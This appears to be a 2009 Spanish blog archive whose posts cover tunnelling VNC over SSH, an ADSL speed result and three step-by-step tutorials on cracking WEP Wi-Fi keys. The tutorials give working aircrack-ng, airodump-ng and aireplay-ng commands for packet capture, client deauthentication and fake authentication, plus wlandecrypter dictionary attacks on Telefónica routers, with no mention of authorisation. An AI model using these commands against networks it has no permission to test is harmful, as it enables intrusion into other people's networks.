October 2009

  1. Tunneling VNC con SSH

    nota aclaratoria: 

    TightVnc

    vnc: escritorio remoto

    conexion segura cifrada a través de ssh

    con linux gracias a ssh

    con win gracias a putty


    Maquina a la que queremos acceder (servidor vnc):

    Lo primero es tener instalado el servidor ssh en la maquina remota:

    aptitude install ssh

    Una vez unstalada debemos ir a la configuracion (en KDE) de krfb (applications-->internet-->Desktop sharing) podemos ejecutarlo directamente dentro del menu de kde:

     

    O tambien podemos dar la orden directamente en consola:

    krfb

    Ahora pulsamos sobre configure para configurarlo:

    Dentro de la sección network le podemos decir que anuncie el servicio en la red (por comodidad), aunque por seguridad lo suelo quitar, al igual que use default port podemos poner el que queramos por defecto es el 5900

     

    En la seccón de seguridad le decimos que acepte conexiones sin invitación (estar creando las invitaciones es un rollo) y habilitamos el control del escritorio (sino solo lo vemos sin interacción) y por ultimo deshabilitamos la 3º opcion que dice que si pregunta antes de aceptar una invitación, para eso tendriamos que estar delante del ordenador para decirle que si, cosa que no es factible


    Ya tenemos la maquina remota configurada, ahora explicare como conectarme desde cualquier lugar con otro ordenador al escritorio de este de forma segura:

    Maquina desde la que accedemos al escritorio remoto (terminal):

    Con linux:

    ssh -L 5900:localhost:5900 -N -f -l [usuario] [direccion del servidor]

    -L 5900:localhost:5900: Indicamos el puerto por el que escucha nuestro server vnc

    -N: Denuega la utlización de cualquier otro comando despues del nº de puerto

    -f: Mientras se prodice la ejecucion del comando esta en modo backgroun, cuando le proporcionemos la contraseña saldrá de este modo y pondremos los comandos que queramos como si fuera una conexión ssh común

    -l: nombre con el que nos logeamos (en determinadas maquinas se tiende a eliminar el acceso a ssh de root por seguridad)

    [ejemplo] :

    ssh -L 5900:localhost:5900 -N -f -l root pumawifi.org

    Una vez hecha la conexion ssh solo tenemos que ir a cualquier cliente vnc y conectar con localhost:5900 y estaremos accediendo al escritorio remoto a través de ssh

    En este caso he utlizado el de por defecto de kde (KRDC)

    Ahora conectamos con localhost:[puerto]

     

    Con windows

    una vez instalado el programa putty comenzamos poniendo direccion y puerto del servidor ssh:

    .

    A lo ultimo cuando tengamos todos los parámetros configurados podemos guardar la sesion

    Dentro de SSH en Tunnel ponemos source port: 5900 y en destination: localhost:5900 (suponiendo que  el servidor funcione con este puerto)

    Le damos a añadir ("Add")

    Confuramos ahora la pestaña X11 y donde pone x display localitation ponemos :localhost:0

    Ahora nos bajamos el cliente vnc (TightVnc) y ponemos Vnc server : locahost:0, donde 0 es 5900 (si pusieramos localhost:4, sería 5904), tambíen podemos poner localhost:5900

  2. Crack wep por comandos (terminal de linux)

    nota aclaratoria: 

    unos 50000 ivs

    utilizacion de aircrack-ng, airodump y aireplay

    ataque de auntetificación falsa

    utilizacion del terminal de linux




    Hace varios años no existían tales distros lives, con las facilidades mencionadas antes y cada persona debía ingeniárselas para instalarse todo tipo de programas en el ordenador en su debian o distro Linux que utilizase para poder hackear una red wifi.

    Además todo va por línea de comandos y no necesitas un script que te lo haga todo.

    Es así como realmente se ven las opciones de cada comando.

     

    Pues bien lo 1º de todo es instalar los drivers de la tarjeta wifi para poder ponerla en modo monitor y además que pueda inyectar.

    En este caso yo utilicé una tarjeta con chip atheros y para ello necesitamos instalar los driver madwifi:

    Lo primero es estar como root, después cerciorarnos de que nuestra tarjeta esta bien conectada para ello con la orden:

    lspci | grep Atheros

    Con esta orden nos muestra algo como: Atheros Communications Inc. AR5212/AR5213 Multiprotocol MAC/baseband processor (rev 01)

    Actualizamos los paquetes:

    apt-get update

    Después hemos de instalar las 'headers' del kernel que tengamos instalado:

    apt-get install linux-headers-`uname -r`

    Donde uname -r nos pone automáticamente la versión del núcleo que tengamos instalada.

    Instalamos las demás utilidades:

    apt-get install madwifi-source
    apt-get install madwifi-tools

    Instalamos module-assistant:

    apt-get install module-assistant

    Ahora lo actualizamos:

    m-a prepare

    y ahora lo instalamos y compilamos:

    m-a a-i madwifi

    Cargamos el modulo:

    modprobe ath_pci

    Hacemos que se cargue permanentemente:

    echo ath_pci >> /etc/modules

    Vemos si todo es correcto:

    iwconfig

    Reiniciamos :

    /etc/init.d/networking restart

    Una vez tenemos la interface preparada vamos a utlizar airodump para capturar los paquetes iv necesarios para sacar la clave:

     

    airodump-ng --ivs -w prueba -c 11 -abg ath0

     

    La opción –ivs es para que descarte los demás tipos de paquetes y solo se interese por ivs

    -c 11 para que capture lo que halla en el canal 11

     

    -abg para que capture para todos los modos, a ,b y g

    Y al final el nombre de la interfaz

     

    Ahora mientas captura vamos a acelerar el proceso de captura de ivs con aireplay:

     

    aireplay-ng -3 -b [bssid] -h [mac del cliente] ath0

     

    Aireplay también tiene la opcion de desautentificar a un cliente conectado (puede ser utilizado para conseguir el handshake para wpa, o para generar ivs en wep)

     

    aireplay-ng -0 5 -a [bssid] -c [mac del cliente que desconectamos] ath0

     

    En caso de que no hubiera clientes el ataque cambia:

     

    aireplay-ng -1 0 -e [essid] -a [bssid] -h [mac falsa (la nuestra)] ath0

     

    Una vez que conseguimos acelerar la captura de ivs solo queda esperar hasta conseguir unos 50000 ivs y entonces utlizar aircrack:

     

    Aircrack-ptw [ruta del archivo.cap]

  3. Crack wep con diccionario (mediante wlandecrypter)

    nota aclaratoria: 



    WLANXX (mas facil)
    [redes de telefonica en general]
    [essid WLANXX]
    utilización de wlandecrypter + aircrack



    Es bien conocido que una de las empresas mas importantes de nuestro país en tema de telecomunicaciones (Telefónica), vende sus productos con fallos muy graves de seguridad.

     

    En concreto su gama de routers (Zixel y demás...), viene cifrados con wep, pero lo mas importante es que esa wep no es una clave como las anteriores mencionadas, sino que tiene mas fallos si cabe.

    El fallo consiste en que esa clave esta puesta con una relación entre el BSSID (mac del router) y el ESSID (nombre de la red) con lo cual la posibilidad de encontrar la clave por un ataque con diccionario generado a partir de esos datos es mucho mayor.

    Para ello se hace cargo un programita llamado WLANDECRYPTER, que junto con aircrack son un arma invencible.

     

    No se sabe bien las causas de porque telefónica ha permitido tal fallo pero lo que es mas grave es que ahora sin permiso del usuario cambian la clave que tiene por defecto sus router, lo que de otro modo dificulta la configuración aun mas por parte del usuario, denegando así la posibilidad de que este pueda solucionar el problema.

    Otra de las causas es que antiguamente regalaban con el router como oferta el famoso stick usb wifi (como un pen drive usb que hace de antena), de la marca SMC, la cual solo es compatible con wep y no con WPA (otro fallo garrafal).

     

    Con todo esto pasemos a la parte práctica:

     

    Las redes de telefónica se caracterizan por tener un essid de la forma WLAN_XX, donde XX es AB o CB etc...

     

    una vez localizada el método es el mismo que en el anterior articulo (hack modo cd-live),  pero el paso 16 cambia, además con este tipo de redes solo necesitamos 4 ivs (frente a los 50000 de las otras redes).

    pues bien el paso 16 consiste en utilizar wlandecrypter, una vez tengamos ya los ivs necesarios (con 4 vale) salimos al menú principal:

     

    Wlandecrypter crea un diccionario a partir del bssid y essid y con aircrack saca la clave, esta opcion lo hace todo automático, pero sus ordenes en consola serían algo como:

     

    Wlandecrypter [bssid] [essid] [output file]

     

    Donde output file es el diccionario de claves creado que ahora se implementa con aircrack:

     

    Aircrack -W [ruta del diccionario] [ruta del archivo de capturas de ivs]

     

    Siendo el diccionario el creado con wlandecrypter y el archivo de capturas el .cap que hemos capturado con airodump:


     

  4. Crack wep con distro live-cd (mediante script con "wifiway")

    nota aclaratoria: 

    Necesitamos 1º descargar una iso de un cd-live:wifiway-1.0-final

    Descarga directa iso: http://download.wifislax.com:8080/wifiway-1-final.iso

    Descarga alternativa: http://www.antofalinux.cl/distros/wifiway/wifiway-1-final.iso

     


    Vistas ya todas las medidas de seguridad nos centraremos en los ataques un hackeo de redes wifi.

    Ante todo para hacer un buen ataque es primordial conocer la seguridad, ya que ello permitirá que conozcamos las debilidades de dicha protección.

    Para ello muestro un ejemplo de como he roto una clave wep en menos de 15 minutos con una tarjeta con chip atheros y driver madwifi, con la distro live wifiway y una antena tipo bote de patatas pringles, utilizando un script automático que ayuda mucho el la elaboración del ataque (utilizando la suite aircrack).

     

    Lo primero es configurar la bios para que arranque desde el cd (saber que también e puede hacer bootable un pen usb y arrancar si la bios lo permite).

    Después una vez llegamos a la pantalla de inicio

    para acceder al menu de las X ponemos startx

    para ver cual es nuestra interface wireless tipeamos en consola

    iwconfig

    y nos saldrá algo como


    lo        no wireless extensions.

    eth0      no wireless extensions.

    eth1      no wireless extensions.

    wifi0     no wireless extensions.

    wlan0 IEEE 802.11g  ESSID:"xxxxx"  Nickname:""

    Mode:Managed  Frequency:2.437 GHz  Access Point: xx:01:xx:6x:70:xx

    Bit Rate:48 Mb/s   Tx-Power:18 dBm   Sensitivity=1/1

    Retry:off   RTS thr:off   Fragment thr:off

    Encryption key:58x0-3030-31x3-3x36-4543-33x4-34   Security mode:restricted

    Power Management:off

    Link Quality=27/70  Signal level=-69 dBm  Noise level=-96 dBm

    Rx invalid nwid:124353  Rx invalid crypt:0  Rx invalid frag:0

    Tx excessive retries:0  Invalid misc:0   Missed beacon:0

     

    En este caso esta claro que es wlan0

     

    una vez estemos dentro lo primero es poner nuestra tarjeta en modo monitor, para ello nos vamos a chipset y elegimos “destruir interface”, nos dará a elegir entre varias, elegimos la que antes nos ponía como wireless en este caso a mí me  sale ath0 , ya que el chip atheros es denominado como ath0, en las intel como eth0, en las Ralink como Rath0 en acx como wlan0 etc..

    una vez destruida la interface le damos a crear interface (en modo grafico del menú) en modo monitor y nos creará una en modo monitor.

    Esto se puede hacer desde consola con la orden ifconfig ath0 mode monitor o con el script airmon-ng.sh, pero de esta forma esta bien

     

     

    ahora escogemos el script airoscrpt.sh y ejecutamos:

     

    nos sale una ventana de bienvenida:

     

    menu principal de opciones, elegimos scan para ver los puntos de acceso a nuestro alrededor

     

    Nos pregunta si queremos detallar un canal específico o un rango o si desconocemos el canal a escanear le damos a todos (opción 1)

     

  5. jazztel mi nueva adquisicion

    nota aclaratoria: 

    adsl 20 mb (anexo M)


    aqui os dejo los resultados, con el router (comtrend 536) comun sin cambiar firmware, y turbo up activado:

     

    distancia de la central 950 metros

    datos:

    Downstream Upstream
    SNR Margin (dB): 8.9 8.0
    Attenuation (dB): 22.5 7.4
    Output Power (dBm): 3.2 11.3
    Attainable Rate (Kbps): 19912 2140
    Rate (Kbps): 17653 1970
  6. Pido disculpas

    nota aclaratoria: 

    Error con los comentarios


    Pido disculpas ya que por culpa de la utilizacion del editor  de texto FCKeditor para la página no se podían comentar los nodos, después de hacer muchas pruebas y ver que cuando deshabilitaba FCKeditor los comentarios no me daban el error "comment field is requiered".

    Al final he puesto TinyMCE  espero que quien le apetezca escribir un articulo le guste, es practicamente igual , incluso mas completo.

    Gracias y perdon por las molestias {#emotions_dlg.embarassed}

    2009-10-09 21:36:26